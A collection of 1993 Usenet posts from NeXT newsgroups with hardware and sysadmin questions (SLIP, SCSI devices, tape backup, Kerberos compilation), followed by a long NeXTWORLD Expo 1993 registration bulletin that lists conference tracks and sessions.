:
: If you want a better solution, convince your SLIP administrator to do
: what the SLIP administrator here at Princeton does ie. configure the
: server so that you can chose your own hostname (with password
: protection) when you start slip. This is the proper solution in the
: long run, but getting some admins to do things right can take a long
: time.
:
: Carl Edman
:
I have a situation where I want to dial in on demand [ala SlipCommander]
How can I configure my Host address on the fly. Take it for granted that my
University will not be doing the "right" thing. So I dial in to the SLIP
modems, and I am assigned one of 6 SLIP addresses. What do I do now?
Even if I cannot use sendmail, how can I get the connection to work
for other packet services [like ftp, and telnet?] ?
Busy digging through the SLIP manual..
David
--
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E-mail : cs911409@ariel.yorku.ca | I'd rather be
NeXTMail: dave@ccs.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
From: hans@symbas.UUCP (Hans Aafloy)
Newsgroups: comp.sys.mac.hardware,comp.sys.next.sysadmin
Subject: Mac vs. NeXT CD-ROM readers
Message-ID: <3738@symbas.UUCP>
Date: 4 Mar 93 07:28:53 GMT
Distribution: world
Organization: Symbiotic Computer Systems A/S, Trondheim, Norway
A Macintosh CD-ROM reader may be used with both Macs and NeXT systems.
But what about NeXT CD-ROM readers?
Are those Macintosh-compatible as well ?
Any experience, anyone ?
Hans
==========================================================================
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LindMac A/S Phone: +477 96 73 11
7038 Trondheim, NORWAY Fax: . . . .45 05
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From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin)
Subject: backing up a NeXT to a Novell-attached tape drive
Message-ID: <1993Mar5.034423.29808@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Fri, 5 Mar 1993 03:44:23 GMT
Aside from tar'ing everything up and ftp'ing it over, is there any way to
back up a NeXT to a tape drive on a Novell network? We're probably
talking about between 500M and 1Gb of resources.
John Price-Wilkin
jpw@virginia.edu
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From: qrs@coos.dartmouth.edu (Quabidur R. Safi)
Subject: Procomm MTB2900 1.3 GB HD SCSI 2
Message-ID: <C3EKBA.ACq@dartvax.dartmouth.edu>
Summary: will it work
Keywords: SCSI 2 Hard Drive external
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Date: Fri, 5 Mar 1993 06:21:09 GMT
I have a 1.3 GB Procomm Technologies MTB 2900 external SCSI 2 hard drive. Has
anybody had any luck using this HD with NeXTs ? When I do a
BuildDisk it identifies it as a Seagate ST3400 (or something) but then
fails. Any clues ?
From: rgc@wam.umd.edu (Ross Garrett Cutler)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: SCSI problems with Canon IX-30F scanner
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Date: 5 Mar 93 15:32:38 GMT
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Organization: University of Maryland, College Park
Hi,
We have a Canon IX-30F (ROM Rev. 1.03) scanner on our mono. NeXTstation
Turbo. We get the following error messages on boot up:
s0(5,1) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,1) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
s0(5,2) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,2) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
s0(5,3) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,3) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
s0(5,4) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,4) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
s0(5,5) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,5) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
s0(5,6) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,6) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
s0(5,7) ERROR op:0x0 sd_state: 4 SCSI status: 0x2
s0(5,7) ERROR op:0x12 sd_state: 4 SCSI status: 0x2
When the scanner is on, it will eventually lock up the hard drive.
When it is off, the system works great. Here's what's on the system:
SCSI 1: Seagate ST3283N
SCSI 2: Fujitsu M2266S-1024
SCSI 3: MOST RMD-520 O-S
SCSI 4: Sony CD-ROM CDU-541
SCSI 5: Canon IX-30F
Now, I've tried stripping the system down to a miniumum, and even moved the
scanner's SCSI ID to last as NeXTConnection suggested. However, it still
hangs the system. We sent the scanner back to NeXTConnection, thinking it
was defective, but they sent it back, saying that these messages were
normal(!). Does anyone else out there have a IX-30F, and if so, do you get
these messages? Thanks, Ross.
--
Ross Cutler
University of Maryland, College Park
Internet: rgc@wam.umd.edu
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Swapping to a raw disk partition
In-Reply-To: lees@pomegranate.stanford.edu's message of Thu, 4 Mar 93 10:55:54 GMT
To: lees@pomegranate.stanford.edu (David Lees)
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Date: Thu, 4 Mar 1993 12:08:08 GMT
In article <1993Mar4.105554.4399@leland.Stanford.EDU> lees@pomegranate.stanford.edu (David Lees) writes:
A while back there was some discussion about configuring a NeXT to swap to
a device (or partition) rather than a swap file. As I recall, this will
provide a significant performance improvement. I can't find any
documentation about how to configure swapping this way in the man pages or
digital librarian. Can anyone tell me how to make this happen ?
Sorry. After much back and forth we came the the conclusion that very
probably it can't be done (as there doesn't seem to be any code to do
it in the kernel) and certainly we don't know how. If someone wants
to contradict the former or ameliorate the latter, feel free to speak
up.
Carl Edman
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Trying to compile kerberos V4 on NextStep 3.0
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Organization: Indiana University
Date: Fri, 5 Mar 1993 21:55:28 GMT
Has anyone done this yet? I can't even get the configuration Make to
work. I get:
francisr@stupid (371) :make world SRCDIR=/usr/local/src/kerberos
make clean-imake
make Makefile
`Makefile' is up to date.
make Makefiles
make depend
cd util/makedepend; make
sh: syntax error at line 1: `(' unexpected
*** Exit 2
Stop.
*** Exit 1
Stop.
Any pointers would be much appreciated.
Thanks,
-rob
francisr@indiana.edu
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
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Subject: 1993 NeXTWORLD Expo Registration and Information Bulletin
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Date: 5 Mar 93 23:28:29 GMT
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1993 NeXTWORLD EXPO REGISTRATION AND INFORMATION BULLETIN
On May 25, NeXT Completes the Most Remarkable Transformation in
Recent Years in the Industry
What: NeXTWORLD Expo
When: May 25 - 27, 1993
Where: Moscone Convention Center, San Francisco, California
Events: Developer and User Conference and User Group Program
Keynotes by Steve Jobs, NeXT & Andy Groves, Intel
..From Black Computers to White - NeXTSTEP for Intel Processors
...Completed and Unveiled
_____________________________________________________________________
TABLE OF CONTENTS
=> NeXTWORLD EXPO INTRODUCTION
=> ALL NeXTWORLD EXPO EVENT DESCRIPTIONS
=> NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS
=> NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS
=> NeXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES
=> NeXT USER GROUP PROGRAM AGENDA
=> TUTORIALS AND BOF MEETINGS
=> REGISTRATION, HOTEL AND TRAVEL INFORMATION
_____________________________________________________________________
=> NeXTWORLD EXPO INTRODUCTION
The second annual NeXTWORLD EXPO combines a worldwide Developer
Conference, User Conference, User Group Program and Product
Exposition spanning three days. This year's NeXTWORLD Expo marks the
culmination of the most significant event in NeXT's history. At the
Expo, NeXT will deliver the completed, shrinkwrapped release of
NeXTSTEP for Intel processors. The product that Byte magazine has
called, "...the most respected piece of software on the planet..."
-- now available on industry-standard computers. When you see
NeXTSTEP, we think you'll agree. NeXT's decision to concentrate on
object-oriented software, move away from signature black hardware,
and devote all company resources to running NeXTSTEP on white
hardware--is more than the transformation of a company. It is, in
all likelihood, the transformation of an entire industry. We look
forward to seeing you at the Expo.
As a special offer, all registered NeXTWORLD EXPO attendees will
receive an aggressive discount on NeXT's software products available
at the Expo.
For $695: receive admission to all Developer Conference and User
Conference Sessions, attendance to the User Group Program, and
admission to the Product Showcase. SPECIAL BONUS...For $995 (a
$3,500 value), receive admission to all of the above PLUS a copy of
NeXTSTEP for Intel processors User Environment and Development Tools!
(See registration form below).
_____________________________________________________________________
=> ALL NeXTWORLD EXPO EVENT DESCRIPTIONS
NeXTWORLD EXPO DEVELOPER CONFERENCE
The NeXTWORLD EXPO '93 Developer Conference offers a broad curriculum
to the developer community, focusing on creating both shrinkwrapped
applications and client/server custom applications. Because the
ability to run NeXTSTEP applications on Intel-based computers is now
a reality, both the general session and the conference tracks provide
valuable information about porting and distribution.
Four separate Conference Tracks focus on the business and technical
aspects of NeXTSTEP application development. Each track provides a
different perspective on understanding and working with NeXTSTEP. To
benefit most from the breadth of topics offered at the conference, we
encourage you to review and attend sessions from several tracks. A
specially priced developer bundle is available which includes
registration and a copy of NeXTSTEP for Intel Processors (see
registration form below for details).
NeXTWORLD EXPO USER CONFERENCE
The NeXTWORLD EXPO '93 User Conference offers in-depth information
about the use of NeXTSTEP in corporate information systems and on
individual desktops. Designed for experienced NeXTSTEP end users,
system managers, and IS strategists, the four-track program focuses
on the issues of deploying NeXTSTEP in enterprise-wide systems, using
NeXTSTEP for maximum benefits, case studies of NeXTSTEP usage in the
real world, and comparative looks at the most innovative third-party
products in the NeXT market. One session is dedicated to providing a
quick start for users who are new to NeXTSTEP, so that they can
participate fully in the remainder of the program. Key sessions in
each track are repeated so that attendees can participate in as many
different sessions as possible.
NeXT USER GROUP PROGRAM
NoIR (NeXT Organizations InteRnational) is sponsoring a worldwide
User Group Program. This year's program theme is "486--An Explosion
of New Users Under NeXT's Big Tent." Sessions focus on two tracks:
user group leadership and member services. If you want ideas to take
back to your group, this program is for you. Last year over 100
groups from around the world were represented and this year we expect
many more. With the explosion of new NeXTSTEP users coming this year
and next, this program helps you prepare your NeXT User Group for
growth and success in 1993 and 1994.
In addition to the formal events listed here, several special social
events will be held. All user group members attending either the
exposition or the conferences are invited to register for the user
group program free of charge.
KEYNOTE SPEAKERS
Steve Jobs - Chairman and CEO of NeXT, Inc.
Andy Grove - Chairman and CEO of Intel Corporation
Steve Jobs discusses the future of object-oriented, client/server
computing.
Andy Grove discusses Intel's 486 and Pentium processors, and
NeXTSTEP's place in their future.
DEVELOPER CONFERENCE GENERAL SESSION
Your NeXTSTEP Application and their Hardware
Paul Hegarty, NeXT's Director of NeXTSTEP for Intel processors
software, explains how to port your application to the Intel platform
and leaves ample time to answer your porting questions.
USER CONFERENCE GENERAL SESSION
10 Most Wanted
NeXTWORLD Editor-in-Chief Dan Ruby leads a panel of NeXTSTEP
customers, developers, and user group leaders in reviewing NeXT's
accomplishments during the last year and setting the agenda for the
year ahead.
GENERAL SESSIONS OPEN TO ALL ATTENDEES
Bob Metcalfe, Publisher and CEO of InfoWorld Publishing Co., hosts a
panel of industry pundits and NeXT customers as they discuss the
alternatives among advanced operating systems in the coming battle
for the corporate desktop.
USER GROUP AUCTION
Attend this fun event. A range of products and services from the NeXT
community will go to the highest bidder. Proceeds go toward the User
Group Program at the Expo.
NeXTWORLD MAGAZINE AWARDS
NeXTWORLD honors the best and most innovative products in the NeXT
market in its first annual award ceremony. Cheer on your favorites as
a lineup of NeXT community luminaries announce the winners in each
product category.
NeXTSTEP PRODUCT EXHIBITION
Tuesday, May 25, 11:00 a.m. - 6:00 p.m.
Wednesday, May 26, 9:00 a.m. - 6:00 p.m.
Thursday, May 27, 9:00 a.m. - 12:00 p.m.
Be sure to see over 100 product exhibits and find out why so many
companies have embraced NeXTSTEP technology. See the latest in
NeXTSTEP hardware and software, and meet with users, resellers, and
partners. The Expo also features an ObjectWare Pavillion dedicated
to the growing number of NeXTSTEP ObjectWare vendors.
_____________________________________________________________________
=> NeXTWORLD EXPO DEVELOPER CONFERENCE TRACKS & SESSIONS
MAY 25-27, 1993
** TRACK ONE **
THEME: NeXTSTEP MEANS BUSINESS
This track addresses topics of broad, general interest to the
third-party and corporate developer community, including how to
evaluate development environments, profiles of NeXTSTEP's markets and
customers, how to protect your intellectual property, and 486
distribution issues. A variety of experts, including Peter van
Cuylenburg, NeXT's president and chief operating officer, discuss
issues geared to business professionals.
Technical professionals will benefit from opportunities to hear
engineers explain how to succeed in object-oriented development, and
to meet key NeXT engineers for a lively Q&A session.
No direct NeXTSTEP experience is required for the sessions in this
track, but a technical background is sometimes useful.
TRACK ONE SESSIONS:
** DISTRIBUTED NeXTSTEP APPLICATIONS **
Erna Arnesen, Director of Channel Sales, NeXT
This comprehensive discussion answers question about NeXT's software
distribution channels. Distribution partners are identified and ways
to ensure successful interaction with developers are explained. Plans
for distribution of NeXTSTEP for Intel processors are also presented.
** A DEVELOPER'S GUIDE TO ENTERPRISE-WIDE DEPLOYMENT **
Anita Sansguiri, Project Manager, ADAMATION
ADAMATION's project manager describes how they successfully deployed
their application at multiple offices of a real estate company.
Deployment issues ranging from application development, networking,
and database management, to augmenting NeXTSTEP tools are described.
** NeXT's MARKETS AND THEIR DEVELOPMENT OPPORTUNITIES **
Ron Weissman, Director, Strategic Marketing, NeXT
David Grady, Developer Advocates, NeXT
This is a chance to hear from NeXT about targeted markets, the
specific products that customers are requesting, and solutions that
would match market requirements. Opportunities for developers and
consultants are discussed.
** NeXTSTEP MEANS BUSINESS **
Peter van Cuylenburg, President and COO, NeXT
Hear NeXT's president and chief operating officer make the compelling
business case for choosing NeXTSTEP. This session outlines where we
are headed and how developers can align with NeXT for success.
** PROTECTING YOUR TECHNOLOGY **
Christopher Seline, Esq., Formosa Transnational Attorneys-at-Law
Maximizing profit and protecting intellectual property are vital
concerns for every developer. This session introduces fundamental
legal issues such as copyright, patent, trademark, and trade secret
laws and how they relate to computer software. Our speaker has
considerable NeXTSTEP and UNIX experience.
** NOTHING's EASIER THAN NeXTSTEP DEVELOPMENT **
Tracy Powell, Senior Developer, WordPerfect Corporation
A developer of large commercial applications in both Windows and
NeXTSTEP discusses his experiences in cross-platform development. Our
speaker ported WordPerfect to NeXTSTEP for Intel processors in a
matter of hours and this session describes his experiences. Helpful
hints and productivity techniques will be presented.
** SUCCEEDING WITH OBJECT-ORIENTED DEVELOPMENT **
Bruce Webster, Chief Technical Officer, Pages Software
Jayson Adams, CEO and Chief Scientist, Millennium Software Labs
Accompanying the power that object-oriented technology (OOT) brings
to application development are some specific challenges and
requirements. In this session, two NeXTSTEP developers describe the
insights they gained and the lessons they learned while producing
major commercial productivity applications.
* "DR. STRANGEAPP, OR HOW I LEARNED TO STOP WORRYING & LOVE ISV'S" *
Rob Wilen, Director of Technical Architecture, Swiss Bank Corporation
One of NeXT's largest commercial customers explains the techniques
and business practices of establishing a productive working
relationship with large corporations.
** STRATEGIES FOR DYNAMIC PERSONALIZED SYSTEMS **
Pascal Chernais, Research Specialist, Massachusetts Inst. of Tech.
Successful personalization of applications will require an
understanding of a users' dynamic needs. The MIT Media Laboratory has
been exploring these issues, using new tools such as user modeling,
knowledge representation and distributed servers.
** DEVELOPER SUCCESS STORIES **
Panel: NeXTSTEP Developers
Based on their real-world experiences, a panel of NeXTSTEP developers
describe their paths to success in the NeXTSTEP marketplace. Creative
marketing techniques, how to leverage the sales force, and product
focus are debated and discussed.
** MEET THE SOFTWARE ENGINEERS **
Panel: NeXT Software Engineers
Several software engineers who were integral in creating NeXTSTEP
Release 3 join together in this forum to answer your questions. This
was a popular session last year, so come early if you want a seat!
** TRACK TWO **
THEME: NeXTSTEP AND THE ENTERPRISE
NeXTSTEP and the Enterprise presents issues specific to using
NeXTSTEP in large organizations, such as working with large and mixed
networks, portability, interoperability, connectivity, distributed
computing, and integration of shrinkwrapped applications into custom
solutions. Most sessions in this track require a technical background
but assume that attendees have no experience working with NeXTSTEP.
TRACK TWO SESSIONS:
** INTEGRATING SHRINKWRAPPED APPLICATIONS IN A CUSTOM SOLUTION **
Moderator: David Lavallee, Software Engineer, NeXT
Panel: NeXTSTEP Developers
It's not always possible to find a shrinkwrapped or custom solution
that solves a given problem completely. But applications can be
easily integrated. Customers and third-party developers discuss why
they would integrate shrinkwrapped software into client/server custom
solutions, and the value that results from this merger.
** DEVELOPING OBJ-C APPLICATIONS FOR NeXTSTEP & MICROSOFT WINDOWS **
Christopher Lozinski, Berkeley Productivity Group
Walter C. Daugherity, Texas A&M University
NeXTSTEP developers have traditionally been faced with a dilemma:
Should they develop in Objective-C on NeXTSTEP, or C++ for Microsoft
Windows. Now it's possible to develop for both platforms in
Objective-C and C++. Developers can use Objective-C with the Borland
compiler on the PC, and the GNU compiler on NeXTSTEP. The discussion
reports that develop applications for both platforms, describes this
experience, and the techniques that work. There will also be a
discussion of Smalltalk for NeXTSTEP.
** WORKFLOW TOOLS IN CUSTOM APPLICATION **
Randy Marchessault, Software Engineer, Integrity Solutions
Workflow, a popular, but commonly misunderstood buzzword is examined
through applying concepts and objects to real-world problems.
Discussion centers on representing tasks and task dependencies,
implementing group scheduling, resource management, document and
information routing, user notification, and recursive schedule
divisibility.
** OBJECT-ORIENTED CLIENT/SERVER APPLICATION DESIGN **
Patricia Monk, Director-NeXT Business Unit, Data General Corporation
This session explains the key issues of object-oriented client/server
application design and layout, including programming tools and
techniques to assist in this type of application development. It also
discusses how the UI (or lack of it) for server requester objects and
server provider objects affects the efficiency of an application.
** NeXTSTEP and OBJECT-ORIENTED DATABASE INTEGRATION **
Moderator: Rick Jackson, Product Manager, NeXT
Panel: NeXTSTEP Developers
This session emphasizes why OODB technology may be of interest to
you, and how it fits with the NeXTSTEP development methodology.
Developers discuss their NeXTSTEP projects which involve both
ObjectStore and Versant OODB technology.
** ADVANTAGES INHERENT IN ELECTRONIC DOCUMENTATION **
Carla Kay Barlow, Product Documentation, Stone Design
Jim Clark, Advanced Technology Group, WilTel
A persuasive argument in favor of all-electronic software
documentation, this session spans the interests of users and
developers from the viewpoint of third party and corporate
development efforts. Topics range from the use of NeXTSTEP's on-line
help standard to how to develop class specification documentation
that facilitates consistent coding style, code reuse and rapid
prototyping.
** A NeXTSTEP SHARED DEVELOPMENT ENVIRONMENT **
Moderator: Rick Jackson, Software Product Marketing, NeXT
Panel: NeXTSTEP Developers
Development teams of more than a few people have special
synchronization and code management problems that can delay or
prevent system. NeXTSTEP developers discuss current and future
solutions for group development. Corporate and third party developers
discuss tools they built to solve today.
** SKETCHING OUT A BETTER USER INTERFACE **
Ray Ryan, User Interface Designer, Lighthouse Design
Creating excellent user interfaces is frequently more the result of
art than science. This session provides some insight into the
aesthetics of UI design. The user interface designer of Diagram! 2
discusses techniques for building good user interfaces starting at
day one. He will include before and after examples from Diagram! and
Diagram! 2 to emphasize how sound UI design techniques help create
more usable interfaces.
** TRACK THREE **
THEME: DEVELOPING NeXTSTEP APPLICATIONS
This track examines the tools and techniques central to developing
your NeXTSTEP applications, such as debugging, Interface Builder,
performance tuning, user interface issues, localization, and
application validation. Speakers include both third-party and
corporate developers who share their knowledge gained "in the
trenches", developing popular and productive applications. These
sessions are targeted for attendees who have intermediate or advanced
NeXTSTEP programming proficiency.
TRACK THREE SESSIONS:
** THE ZEN OF DEBUGGING **
Julie Zelenski, Lecturer, Stanford Univ. and Support Engineer, NeXT
Need a new bag of tricks for debugging in the NeXTSTEP development
environment? Or maybe you're just looking to fill out your current
repertoire? In either case, you can learn something new in this
challenging and informative session.
** VALIDATING NeXTSTEP APPLICATIONS AND OBJECTS **
Jim Walsh, Software Quality Manager, NeXT
Kris Oosting, Manager, Objective Partners
It's been said "you can't control what you can't measure", and this
holds true for object-oriented development. This session explores the
theories of testing your NeXTSTEP applications and objects.
** GETTING MORE SPEED OUT OF YOUR APPLICATION **
Brian Pinkerton, Software Engineer, NeXT
Trey Matteson, Manager, Application Kit Group, NeXT
Reprising one of last year's most popular sessions, NeXT's engineers
take a reasonably slow application and make it faster, before your
very eyes. You'll see the steps you need to take to speed your
applications' performance.
** INTRODUCTION TO NeXTSTEP PROGRAMMING **
Randy Nelson, Lead Developer Trainer, NeXT
If you're just encountering the world of object-oriented programming,
this overview of NeXTSTEP features and object technology is extremely
useful for understanding context and vocabulary. This session is a
must for technical evaluators of the platform.
** UI PERFORMANCE **
Bill Bumgarner, Software Artist, Stone Design
Glenn Reid, President, RightBrain Software
Enhancing the performance of your application's UI can be crucial to
users' success with the application. NeXTSTEP developers describe
methods for increasing perceived performance and methods for
decreasing actual drawing time.
** BUILDING BETTER NeXTSTEP APPLICATIONS **
Randy Nelson, Lead Developer Trainer, NeXT
Proper use of NeXTSTEP significantly increases the power of your
application; correspondingly, improper or partial use of NeXTSTEP can
decrease your application's usability. An overview of specific
topics--user interface, portability, localization, and important kit
features--shows you how to build flexibility into your application.
References to documentation and other resources are included.
** WRITING DYNAMIC APPLICATIONS **
Tom Affinito, Training Manager, Trirex
This lecture explores techniques that add run-time flexibility to
your application, including Interface Builder files, NXBundles,
distributed objects and embedded languages.
** CREATING INTERFACE BUILDER PALETTES **
Scott Ritchie, Developer Trainer, NeXT
Using Interface Builder Palettes can add custom functionality to your
interfaces, save development time, and generate valuable re-useable
tools. One of NeXT's trainers explains how to build palettes that
provide advanced functionality for many different sorts of objects.
** BUILDING REUSABLE OBJECTS **
Eric Bergeson, Objective Technologies
Well-rounded classes donUt just happen: they require careful planning
and design to become flexible and robust. This session reviews some
of the issues that you should consider before writing your first line
of code. The discussion includes licensing issues for objects.
** TRACK FOUR **
THEME: UNDER THE HOOD - OBJECTS AND NeXTSTEP FEATURES
This track explores the detail level of object technology and
specific NeXTSTEP features and kits. Topics include DataBase Kit,
Indexing Kit, Driver Kit, Object Links, Help, and filter services.
Familiarity with NeXTSTEP programming is recommended for attendees of
the sessions.
TRACK FOUR SESSIONS:
** GETTING STARTED WITH DATABASE KIT **
Scott Weiner, Developer Trainer, NeXT
Learn the basics of NeXTSTEP's newest kit with one of NeXT's
trainers. Step through the decisions involved with building a simple
DataBase Kit application and see how DataBase Kit can help reduce
time and effort in developing a client/server custom application.
Time is provided for Q&A at the end of this session.
** REAL-WORLD DATABASE KIT APPLICATIONS **
Moderator: Jerry Goode, Systems Engineer, NeXT
Panel: NeXTSTEP Developers
A panel of corporate developers and system integrators explain and
discuss their real-world development experiences and describe how the
DataBase Kit helped them resolve client/server computing issues.
** ADVANCED DATABASE KIT ISSUES **
Moderator: Felix Lin, Product Manager, NeXT
Panel: NeXTSTEP Developers
Developers of NeXTSTEP Release 3 DataBase Kit applications share
their experiences and exchange comments with NeXT's DataBase Kit
engineers on some of the technical issues that confront advanced
development work. Time is provided for Q&A at the end of this
session.
** USING NeXTSTEP RELEASE 3 FEATURES **
Ali Ozer, Software Engineer, NeXT
This session reviews several NeXTSTEP Release 3 features, including
dragging, Help, filter services, and using color. Use of the and can
add considerably to the power and flexibility of your application
(and the popularity with your users.)
** OBJECT LINKS IN DETAIL **
Trey Matteson, Manager, Application Kit Group, NeXT
Take advantage of the power of object linking...the powerful
mechanism that enables documents to share data dynamically. This
session explains why and how you should incorporate Object Links into
your application.
** PROGRAMMING WITH DISTRIBUTED OBJECTS **
Stephen Asbury, Developer Trainer, NeXT
This presentation details the steps you need to take to build a
client/server application using distributed objects, one of
NeXTSTEP's most powerful tools. Discussion includes invalidation
notification, threaded servers, and peer-to-peer architectures.
** WORKING WITH THE INDEXING KIT **
Kris Younger, System Engineer, NeXT
The Indexing Kit is a major feature of NeXTSTEP Release 3. The kit
provides a framework for storing and managing data, analogous to the
framework for user interaction provided by the Application Kit. This
session describes the salient features of the Indexing Kit, including
transaction-protected storage, building dictionaries and indexes with
BTrees, and building flat-file databases that store Objective-C
objects.
** DRIVERKIT FOR NeXTSTEP FOR INTEL PROCESSORS **
Phillip Dibner, Developer Support, NeXT
A detailed presentation of the differences between traditional UNIX
drivers and those written for NeXTSTEP applications on Intel-based
computers. A developer support engineer examines a working example
and answers your questions about drivers.
_____________________________________________________________________
=> NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS
May 25 - 27, 1993
** TRACK ONE **
THEME: ENTERPRISE COMPUTING
The first stage of desktop computing in corporations was all about
enhancing individual and departmental productivity. NeXTSTEP takes
corporations to the second stage by advancing the mission of the
enterprise. This conference track explores the issues in enterprise
computing such as client/server architecture, rightsizing,
operational productivity, custom application development, and
heterogeneous networking. In every area, NeXTSTEP offers great
opportunity for the next stage of corporate computing.
TRACK ONE SESSIONS:
** END OF THE PARADOX: OPERATIONAL PRODUCTIVITY **
NeXTSTEP solves the enduring paradox of the information age:
Organizations' investment in technology has not resulted in
measurable productivity gains. NeXTSTEP changes the equation by
focusing on operational productivity.
** WHY OBJECT-ORIENTED PROGRAMMING and NeXTSTEP **
NeXTSTEP achieves its full power when applied in enterprise-wide
systems for client/server functions. Discover how object-oriented
programming techniques and client/server computing can bring
immediate tangible benefits to organizations.
** RIGHTSIZING WITH NeXTSTEP **
As businesses downsize monolithic mainframe applications to
distributed client/server systems, they need object-oriented
development tools that play in a standard networking environment.
NeXTSTEP is an important piece of the rightsizing puzzle for
corporate re-engineers.
** ENGINEERING CLIENT/SERVER SYSTEMS **
Talk of rightsizing is cheap. NeXTSTEP gets you started today. This
panel of customers, integrators, and system engineers explores the
nitty-gritty technical issues of using NeXTSTEP in a client/server
architecture.
** DEVELOPING AND DEPLOYING CLIENT/SERVER CUSTOM APPLICATIONS **
NeXTSTEP's object-oriented development environment lets you bring new
systems on-line in a fraction of the time needed with competitive
products. That calls for a new approach to planning and implementing
client/server custom applications.
** ACCESSING CORPORATE DATABASES **
Distributed applications are only as meaningful as the data that is
accessed. NeXTSTEP's DataBase Kit and third-party tools let you link
into live financial and operational databases residing on mainframes
and servers.
** HOW NeXTSTEP FITS INTO YOUR HETEROGENEOUS CORPORATE NETWORK **
Virtually every enterprise today maintains a mixed environment of
computer platforms and networks. NeXTSTEP's support of multiple
networking standards allows users to easily mix and match computers
with their existing information systems.
** CONNECTING THE ENTERPRISE: WANs, LANs. and ISDN **
As business goes global, it isn't enough to interoperate in local
networks at individual user sites. Here's how NeXTSTEP systems
communicate with other computers in a world-wide distributed
computing environment.
** MANAGING APPLICATION DEVELOPMENT PROJECTS **
As NeXTSTEP speeds up the application development cycle, managers
face new challenges in strategic and tactical planning. Here's what
to expect in budgeting, staffing, managing, and phasing in your
custom application projects.
** ISSUES IN SYSTEM ADMINISTRATION **
As NeXTSTEP proliferates in enterprise-wide information systems, the
issues of network management and security become increasingly
critical. System administrators explore the tools and techniques
available for maintaining and securing corporate networks.
** TRACK TWO **
THEME: USING NEXTSTEP
NeXTSTEP provides a user environment unlike any other operating
system. To get maximum benefit from their systems, users need to know
the intricacies of NeXTSTEP and third-party products. This track
begins with critical information about running NeXTSTEP for Intel
processors, and examines hot topics like portable computing, NeXTSTEP
publishing, database management, and collaborative applications.
Users can get hands-on help by attending sessions on NeXTSTEP tips
and tricks, configuring systems for maximum power, and sources of
training and support.
TRACK TWO SESSIONS:
** INTRODUCTION TO NeXTSTEP for INTEL PROCESSORS **
NeXT's software guru's take you on a tour of the leading
object-oriented operating system for mainstream business computers.
** INTRODUCTION FOR INTEL PROCESSORS: Q&A **
NeXT and NeXTSTEP hardware partners answer questions on software
deliverables.
** INTEGRATING INTEL AND MOTOROLA-BASED HARDWARE
This session discusses the concerns and addresses the
solutions for integrating your existing 68040 hardware with your
Intel-based hardware--all running NeXTSTEP.
** READ ALL ABOUT IT: PUBLISHING WITH NeXTSTEP **
NeXTSTEP's unified imaging model, powerful software tools, and
workgroup connectivity are ideally suited for graphic design and
electronic publishing. Experts explore the available tools for
NeXTSTEP publishing, while early adopters describe their experiences.
** MANAGING YOUR DATA **
Database management isn't a task only for programmers and system
designers. Here's everything you need to know as a user for
specifying and designing database front ends, as well as for managing
your individual records.
** NeXTSTEP TIPS and TRICKS **
NeXTSTEP is so rich in capabilities that many users only scratch its
surface. To get maximum benefit from NeXTSTEP, you need to know the
shortcuts and hidden features available in the system. Power users
show you how.
** CONNECTING TO THE WORLD **
There is a wealth of information, free software, and just plain
camaraderie available to NeXTSTEP users through the Internet and
other information services. This session tells you how and where to
plug in to the wonderful world of NeXTSTEP online.
** OBJECT TECHNOLOGY AND YOU **
Besides its benefits for programmers, the rapid development of object
technology for NeXTSTEP promises great rewards for the individual
NeXTSTEP user. Here is an over-the-horizon look at three of the most
important developments in object technology and how they will likely
affect the life of the user.
** WORKING TOGETHER WITH COLLABORATIVE SOFTWARE **
Groupware is a computer-industry buzzword that is much discussed and
little practiced. In the NeXTSTEP environment, users are taking
advantage of applications designed for collaborative work. This panel
reviews the available products and illustrates the power of workgroup
computing.
** OPTIONS FOR PORTABILITY **
Customers are interested in NeXTSTEP portable computing. But 486
notebooks are not the only option for users who need to take their
data on the road. This session looks at strategies for extending
your desktop environment to wherever you happen to be.
** TRACK THREE **
THEME: IN THE TRENCHES
Customers in business, education, and government have taken great
strides in applying NeXTSTEP to solving problems in their fundamental
advantages for unifying the desktop, collaborative computing,
document management, decision support, and application development.
In this track, speakers representing customers in NeXT's key markets
share their experiences.
TRACK THREE SESSIONS:
** UNIFYING THE DESKTOP **
The goal is no longer to have a computer on every desk, but to have
only one computer on every desk. Users in financial services, law
enforcement, and hospital administration describe how NeXTSTEP
replaced diverse systems in a single workstation.
** ROLLUPS AND DRILLDOWNS: EXECUTIVE INFORMATION SYSTEMS **
NeXTSTEP is ideal for application that deliver live summary data and
graphics to executives for decision support. Corporate and
government users show how they did it.
** WHY NeXTSTEP -- CUSTOMER PERSPECTIVES **
Choosing NeXTSTEP was once risky. This panel of NeXTSTEP customers
in business, government, and education discuss their choice of
NeXTSTEP systems and the payoff.
** MANAGING DOCUMENTS **
Whatever happened to the paperless office? It's alive and well in
law firms and medical organization employing NeXTSTEP software for
document storage and retrieval.
** SERVING YOUR CUSTOMERS **
The greatest challenge in business today is providing timely and
accurate service to customers. NeXTSTEP systems provide the
informational framework for world-class customer service. Users from
health care, financial services, and transportation show how they did
it.
** ENTERPRISE TRANSFORMATION **
Technological change does not occur in a vacuum. Sometimes, the
technology used can lead to structural and cultural changes in an
organization. Panelists from law enforcement, telecommunications,
and the energy business explore the positive effects of NeXTSTEP
technology on organizational hierarchies, decision making, and
customer relations.
